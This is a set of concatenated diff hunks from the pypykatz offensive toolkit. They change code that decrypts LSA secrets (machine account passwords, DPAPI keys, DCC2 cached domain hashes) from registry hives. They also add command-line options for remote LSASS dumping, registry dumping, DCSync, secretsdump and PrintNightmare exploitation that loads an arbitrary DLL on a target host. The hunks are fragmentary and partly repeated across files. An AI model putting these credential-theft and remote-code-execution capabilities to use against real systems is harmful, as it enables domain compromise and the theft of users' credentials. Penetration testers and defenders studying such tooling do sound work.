181 | return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex()) | |
182 | ||
183 | ||
184 | class LSASecretDPAPI(LSASecret): | |
185 | def __init__(self, key_name, raw_secret, history): | |
186 | LSASecret.__init__(self, key_name, raw_secret, history) | |
187 | self.machine_key = None | |
188 | self.user_key = None | |
189 | ||
190 | def process_secret(self): | |
191 | ds = DPAPI_SYSTEM.from_bytes(self.raw_secret) | |
192 | self.machine_key = ds.machine_key | |
193 | self.user_key = ds.user_key | |
194 | ||
195 | def to_dict(self): | |
196 | t = {} | |
197 | t['type'] = 'LSASecretDPAPI' | |
198 | t['key_name'] = self.key_name | |
199 | t['history'] = self.history | |
200 | t['machine_key'] = self.machine_key | |
201 | t['user_key'] = self.user_key | |
202 | return t | |
203 | ||
204 | def __str__(self): | |
205 | return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex()) | |
206 | ||
207 | class LSADCCSecret: | |
208 | def __init__(self, version, domain, username, hash_value, iteration = None): | |
209 | self.version = version | |
210 | self.domain = domain | |
211 | self.username = username | |
212 | self.iteration = iteration | |
213 | self.hash_value = hash_value | |
214 | ||
215 | def to_dict(self): | |
216 | t = {} | |
217 | t['version'] = self.version | |
218 | t['domain'] = self.domain | |
219 | t['username'] = self.username | |
220 | t['iteration'] = self.iteration | |
221 | t['hash_value'] = self.hash_value | |
222 | return t | |
223 | ||
224 | def __str__(self): | |
225 | return self.to_lopth() | |
226 | ||
227 | def to_lopth(self): | |
228 | if self.version == 1: | |
229 | return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username) | |
230 | else: | |
231 | return "%s/%s:$DCC2$%s#%s#%s" % (self.domain, self.username, self.iteration, self.username, self.hash_value.hex())⏎ |
12 | 12 | |
13 | 13 | ##### |
14 | 14 | from pypykatz.registry.security.structures import * |
15 | from pypykatz.registry.security.common import * | |
15 | from pypykatz.registry.security.acommon import * | |
16 | 16 | from pypykatz.registry import logger |
17 | 17 | from pypykatz.commons.common import hexdump |
18 | 18 | |
24 | 24 | # as this functionality can be used by any service that wants to stroe some secret information |
25 | 25 | |
26 | 26 | class SECURITY: |
27 | def __init__(self, security_hive, bootkey): | |
27 | def __init__(self, security_hive, bootkey, system_hive = None): | |
28 | 28 | self.hive = security_hive |
29 | self.system_hive = system_hive | |
29 | 30 | self.bootkey = bootkey |
30 | 31 | |
31 | 32 | self.dcc_iteration_count = 10240 |
247 | 248 | else: |
248 | 249 | dec_blob = self.decrypt_secret(self.lsa_key, v[1]) |
249 | 250 | |
250 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal') | |
251 | secret = await LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) | |
251 | 252 | if secret is not None: |
252 | 253 | self.cached_secrets.append(secret) |
253 | 254 |
21 | 21 | self.history = history |
22 | 22 | |
23 | 23 | @staticmethod |
24 | def process(key_name, raw_secret, history = False): | |
24 | def process(key_name, raw_secret, history = False, system_hive = None): | |
25 | 25 | kn = key_name.upper() |
26 | 26 | if len(raw_secret) == 0: |
27 | 27 | return |
29 | 29 | return |
30 | 30 | |
31 | 31 | if kn.startswith('_SC_'): |
32 | lss = LSASecretService(kn, raw_secret, history) | |
32 | lss = LSASecretService(kn, raw_secret, history, system_hive) | |
33 | 33 | lss.process_secret() |
34 | 34 | |
35 | 35 | elif kn.startswith('DEFAULTPASSWORD'): |
65 | 65 | return t |
66 | 66 | |
67 | 67 | class LSASecretService(LSASecret): |
68 | def __init__(self, key_name, raw_secret, history): | |
69 | LSASecret.__init__(self, key_name, raw_secret, history) | |
68 | def __init__(self, key_name, raw_secret, history, system_hive = None): | |
69 | LSASecret.__init__(self, key_name, raw_secret, history) | |
70 | self.system_hive = system_hive | |
70 | 71 | self.service = None |
71 | 72 | self.username = None |
72 | 73 | self.secret = None |
75 | 76 | try: |
76 | 77 | self.secret = self.raw_secret.decode('utf-16-le') |
77 | 78 | except: |
78 | pass | |
79 | self.secret = self.raw_secret.hex() | |
79 | 80 | else: |
80 | 81 | #here you may implement a mechanism to fetch the service user's name |
81 | 82 | #TODO |
82 | 83 | self.service = self.key_name |
83 | 84 | self.username = 'UNKNOWN' |
84 | ||
85 | if self.system_hive is not None: | |
86 | print(self.key_name[4:]) | |
87 | self.username = self.system_hive.get_service_user(self.key_name[4:]) | |
88 | ||
85 | 89 | def __str__(self): |
86 | 90 | return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret) |
87 | 91 |
24 | 24 | # as this functionality can be used by any service that wants to stroe some secret information |
25 | 25 | |
26 | 26 | class SECURITY: |
27 | def __init__(self, security_hive, bootkey): | |
27 | def __init__(self, security_hive, bootkey, system_hive = None): | |
28 | 28 | self.hive = security_hive |
29 | self.system_hive = system_hive | |
29 | 30 | self.bootkey = bootkey |
30 | 31 | |
31 | 32 | self.dcc_iteration_count = 10240 |
245 | 246 | else: |
246 | 247 | dec_blob = self.decrypt_secret(self.lsa_key, v[1]) |
247 | 248 | |
248 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal') | |
249 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) | |
249 | 250 | if secret is not None: |
250 | 251 | self.cached_secrets.append(secret) |
251 | 252 |
57 | 57 | await self.get_currentcontrol() |
58 | 58 | await self.get_bootkey() |
59 | 59 | |
60 | async def get_service_user(self, service_name): | |
61 | if self.currentcontrol is None: | |
62 | await self.get_currentcontrol() | |
63 | ||
64 | try: | |
65 | key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) | |
66 | val = await self.hive.get_value(key) | |
67 | return val[1].decode('utf-16-le') | |
68 | except: | |
69 | return None | |
70 | ||
60 | 71 | def to_dict(self): |
61 | 72 | t = {} |
62 | 73 | t['CurrentControlSet'] = self.currentcontrol |
55 | 55 | def get_secrets(self): |
56 | 56 | self.get_currentcontrol() |
57 | 57 | self.get_bootkey() |
58 | ||
58 | ||
59 | def get_service_user(self, service_name): | |
60 | if self.currentcontrol is None: | |
61 | self.get_currentcontrol() | |
62 | ||
63 | try: | |
64 | key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) | |
65 | return self.hive.get_value(key)[1].decode('utf-16-le') | |
66 | except: | |
67 | return None | |
68 | ||
59 | 69 | def to_dict(self): |
60 | 70 | t = {} |
61 | 71 | t['CurrentControlSet'] = self.currentcontrol |
8 | 8 | import glob |
9 | 9 | import ntpath |
10 | 10 | import traceback |
11 | import argparse | |
11 | 12 | |
12 | 13 | from pypykatz import logging |
13 | 14 | from pypykatz.commons.common import UniversalEncoder |
16 | 17 | |
17 | 18 | class RemoteCMDHelper: |
18 | 19 | def __init__(self): |
19 | self.live_keywords = ['share','session','localgroup'] | |
20 | self.live_keywords = ['smbapi'] | |
20 | 21 | self.keywords = [] #['remote'] no yet implemented |
21 | 22 | |
22 | 23 | def add_args(self, parser, live_parser): |
23 | live_group = live_parser.add_parser('share', help='Remote share relted operations') | |
24 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
25 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
26 | live_group.add_argument('cmd', choices=['enum']) | |
27 | live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
28 | live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
29 | live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
30 | live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
24 | ||
25 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
26 | live_smbapi_subparsers = live_subcommand_parser.add_subparsers(help = 'SMB via Windows API') | |
27 | live_smbapi_subparsers.required = True | |
28 | live_smbapi_subparsers.dest = 'livesmbapi' | |
29 | ||
30 | live_smbapi_share = live_smbapi_subparsers.add_parser('share', help='Remote share relted operations') | |
31 | live_smbapi_share.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
32 | live_smbapi_share.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
33 | live_smbapi_share.add_argument('op', choices=['enum']) | |
34 | live_smbapi_share.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
35 | live_smbapi_share.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
36 | live_smbapi_share.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
37 | live_smbapi_share.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
31 | 38 | |
32 | live_group = live_parser.add_parser('session', help='Remote user sessions related operations') | |
33 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
34 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
35 | live_group.add_argument('cmd', choices=['enum']) | |
36 | live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
37 | live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
38 | live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
39 | live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
39 | live_smbapi_session = live_smbapi_subparsers.add_parser('session', help='Remote user sessions related operations') | |
40 | live_smbapi_session.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
41 | live_smbapi_session.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
42 | live_smbapi_session.add_argument('op', choices=['enum']) | |
43 | live_smbapi_session.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
44 | live_smbapi_session.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
45 | live_smbapi_session.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
46 | live_smbapi_session.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
40 | 47 | |
41 | live_group = live_parser.add_parser('localgroup', help='Remote localgroup related operations') | |
42 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
43 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
44 | live_group.add_argument('cmd', choices=['enum']) | |
45 | live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
46 | live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
47 | live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
48 | live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
49 | live_group.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.') | |
48 | live_smbapi_localgroup = live_smbapi_subparsers.add_parser('localgroup', help='Remote localgroup related operations') | |
49 | live_smbapi_localgroup.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
50 | live_smbapi_localgroup.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
51 | live_smbapi_localgroup.add_argument('op', choices=['enum']) | |
52 | live_smbapi_localgroup.add_argument('-f', '--target-file', help = 'Targets file, one per line') | |
53 | live_smbapi_localgroup.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.') | |
54 | live_smbapi_localgroup.add_argument('--timeout', type=int, help = 'Pre-check timeout.') | |
55 | live_smbapi_localgroup.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!') | |
56 | live_smbapi_localgroup.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.') | |
50 | 57 | |
58 | live_parser.add_parser('smbapi', help='SMB operations using the windows API', parents=[live_subcommand_parser]) | |
51 | 59 | |
52 | #group = parser.add_parser('registry', help='Get secrets from registry files') | |
60 | #group = live_smbapi_subparsers.add_parser('registry', help='Get secrets from registry files') | |
53 | 61 | #group.add_argument('system', help='path to the SYSTEM registry hive') |
54 | 62 | #group.add_argument('--sam', help='path to the SAM registry hive') |
55 | 63 | #group.add_argument('--security', help='path to the SECURITY registry hive') |
68 | 76 | pass |
69 | 77 | |
70 | 78 | def run_live(self, args): |
71 | if args.module == 'share': | |
72 | if args.cmd == 'enum': | |
79 | if args.livesmbapi == 'share': | |
80 | if args.op == 'enum': | |
73 | 81 | from pypykatz.remote.live.share.enumerator import ShareEnumerator |
74 | 82 | |
75 | 83 | se = ShareEnumerator() |
96 | 104 | |
97 | 105 | se.run() |
98 | 106 | |
99 | elif args.module == 'session': | |
100 | if args.cmd == 'enum': | |
107 | elif args.livesmbapi == 'session': | |
108 | if args.op == 'enum': | |
101 | 109 | from pypykatz.remote.live.session.enumerator import SessionMonitor |
102 | 110 | |
103 | 111 | se = SessionMonitor() |
123 | 131 | |
124 | 132 | se.run() |
125 | 133 | |
126 | elif args.module == 'localgroup': | |
127 | if args.cmd == 'enum': | |
134 | elif args.livesmbapi == 'localgroup': | |
135 | if args.op == 'enum': | |
128 | 136 | from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator |
129 | 137 | |
130 | 138 | se = LocalGroupEnumerator() |
8 | 8 | import os |
9 | 9 | import json |
10 | 10 | import ntpath |
11 | import asyncio | |
11 | 12 | import platform |
12 | 13 | import argparse |
13 | 14 | import base64 |
16 | 17 | from pypykatz import logging |
17 | 18 | from pypykatz.commons.common import UniversalEncoder |
18 | 19 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession |
19 | import asyncio | |
20 | ||
20 | 21 | |
21 | 22 | """ |
22 | 23 | This is a wrapper for aiosmb |
43 | 44 | smb_subparsers.required = True |
44 | 45 | smb_subparsers.dest = 'smb_module' |
45 | 46 | |
46 | smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands') | |
47 | smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
48 | smb_console_group.add_argument('url', help="SMB connection string") | |
49 | smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
47 | smb_client_group = smb_subparsers.add_parser('client', help='SMB client. Use "help" instead of "-h" to get the available subcommands') | |
48 | smb_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
49 | smb_client_group.add_argument('url', help="SMB connection string") | |
50 | smb_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
50 | 51 | |
51 | 52 | smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.') |
52 | 53 | smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'") |
58 | 59 | smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') |
59 | 60 | |
60 | 61 | |
61 | smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.') | |
62 | smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS') | |
62 | 63 | smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") |
63 | smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format') | |
64 | smb_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format') | |
64 | 65 | smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
65 | 66 | smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
66 | 67 | smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
67 | 68 | smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
68 | 69 | smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') |
69 | 70 | smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') |
70 | ||
71 | smb_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
72 | smb_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
71 | 73 | |
72 | 74 | |
73 | 75 | smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps') |
79 | 81 | smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
80 | 82 | smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
81 | 83 | |
82 | smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets') | |
84 | smb_regsec_group = smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry') | |
83 | 85 | smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") |
84 | 86 | smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
85 | 87 | smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
88 | smb_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
89 | smb_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
90 | ||
86 | 91 | |
87 | 92 | smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync') |
88 | smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
93 | smb_dcsync_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") | |
89 | 94 | smb_dcsync_group.add_argument('-u', '--username', help='taget username') |
90 | 95 | smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') |
91 | 96 | |
92 | 97 | smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump') |
93 | smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
98 | smb_secretsdump_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
94 | 99 | smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') |
95 | 100 | smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
96 | 101 | smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
101 | 106 | |
102 | 107 | |
103 | 108 | smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator') |
104 | smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
105 | smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
106 | 109 | smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') |
107 | 110 | smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum") |
108 | 111 | smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate") |
121 | 124 | smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') |
122 | 125 | smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration') |
123 | 126 | |
127 | printnightmare_group = smb_subparsers.add_parser('printnightmare', help='printnightmare') | |
128 | printnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
129 | printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
130 | printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
131 | printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
132 | ||
133 | parprintnightmare_group = smb_subparsers.add_parser('parprintnightmare', help='par printnightmare') | |
134 | parprintnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
135 | parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
136 | parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
137 | parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
124 | 138 | |
125 | 139 | |
126 | 140 | |
127 | 141 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) |
128 | live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome') | |
142 | live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE SMB commands work under the current user context.') | |
129 | 143 | live_smb_subparsers.required = True |
130 | 144 | live_smb_subparsers.dest = 'livesmbcommand' |
131 | 145 | |
132 | live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands') | |
133 | live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
134 | live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
135 | live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
136 | live_console_parser.add_argument('host', help='Target host to connect to') | |
137 | live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
138 | ||
146 | live_client_parser = live_smb_subparsers.add_parser('client', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands') | |
147 | live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
148 | live_client_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
149 | live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
150 | live_client_parser.add_argument('host', help='Target host to connect to') | |
151 | live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
152 | ||
153 | live_lsassdump_group = live_smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS') | |
154 | live_lsassdump_group.add_argument('host', help='Target host to connect to') | |
155 | live_lsassdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
156 | live_lsassdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
157 | live_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format') | |
158 | live_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
159 | live_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
160 | live_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
161 | live_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
162 | live_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
163 | live_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
164 | live_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
165 | live_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
166 | ||
167 | live_regsec_group = live_smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry') | |
168 | live_regsec_group.add_argument('host', help='Target host to connect to') | |
169 | live_regsec_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
170 | live_regsec_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
171 | live_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
172 | live_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
173 | live_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
174 | live_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
175 | ||
176 | live_dcsync_group = live_smb_subparsers.add_parser('dcsync', help='DcSync') | |
177 | live_dcsync_group.add_argument('host', help='Target host to connect to') | |
178 | live_dcsync_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
179 | live_dcsync_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
180 | live_dcsync_group.add_argument('-u', '--username', help='taget username') | |
181 | live_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') | |
182 | ||
183 | live_secretsdump_group = live_smb_subparsers.add_parser('secretsdump', help='secretsdump') | |
184 | live_secretsdump_group.add_argument('host', help='Target host to connect to') | |
185 | live_secretsdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
186 | live_secretsdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
187 | live_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
188 | live_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
189 | live_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
190 | live_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
191 | live_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
192 | live_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
139 | 193 | |
140 | 194 | live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.') |
141 | 195 | live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') |
157 | 211 | live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified') |
158 | 212 | live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') |
159 | 213 | |
214 | live_printnightmare_group = live_smb_subparsers.add_parser('printnightmare', help='printnightmare') | |
215 | live_printnightmare_group.add_argument('host', help='Target host to connect to') | |
216 | live_printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
217 | live_printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
218 | live_printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
219 | ||
